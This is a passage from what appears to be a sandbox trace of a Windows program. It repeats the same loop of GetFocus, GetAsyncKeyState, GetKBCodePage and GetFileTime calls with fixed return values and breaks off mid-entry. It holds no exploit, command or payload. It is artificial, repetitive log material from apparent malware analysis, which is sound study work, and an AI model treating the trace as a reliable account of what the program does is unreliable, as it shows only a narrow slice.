lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.564] GetFocus () returned 0x0 [0223.564] GetAsyncKeyState (vKey=58) returned 0 [0223.564] GetKBCodePage () returned 0x1b5 [0223.564] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.565] GetAsyncKeyState (vKey=58) returned 0 [0223.565] GetKBCodePage () returned 0x1b5 [0223.565] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.565] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.566] GetFocus () returned 0x0 [0223.566] GetAsyncKeyState (vKey=58) returned 0 [0223.566] GetKBCodePage () returned 0x1b5 [0223.566] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.567] GetKBCodePage () returned 0x1b5 [0223.567] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.567] GetFocus () returned 0x0 [0223.567] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.568] GetKBCodePage () returned 0x1b5 [0223.568] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.568] GetFocus () returned 0x0 [0223.568] GetAsyncKeyState (vKey=58) returned 0 [0223.569] GetKBCodePage () returned 0x1b5 [0223.569] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.569] GetFocus () returned 0x0 [0223.569] GetAsyncKeyState (vKey=58) returned 0 [0223.569] GetKBCodePage () returned 0x1b5 [0223.569] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.569] GetFocus () returned 0x0 [0223.569] GetAsyncKeyState (vKey=58) returned 0 [0223.569] GetKBCodePage () returned 0x1b5 [0223.569] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.570] GetKBCodePage () returned 0x1b5 [0223.570] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.570] GetFocus () returned 0x0 [0223.570] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.571] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.571] GetFocus () returned 0x0 [0223.571] GetAsyncKeyState (vKey=58) returned 0 [0223.571] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0223.572] GetFocus () returned 0x0 [0223.572] GetAsyncKeyState (vKey=58) returned 0 [0223.572] GetKBCodePage () returned 0x1b5 [0223.572] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, 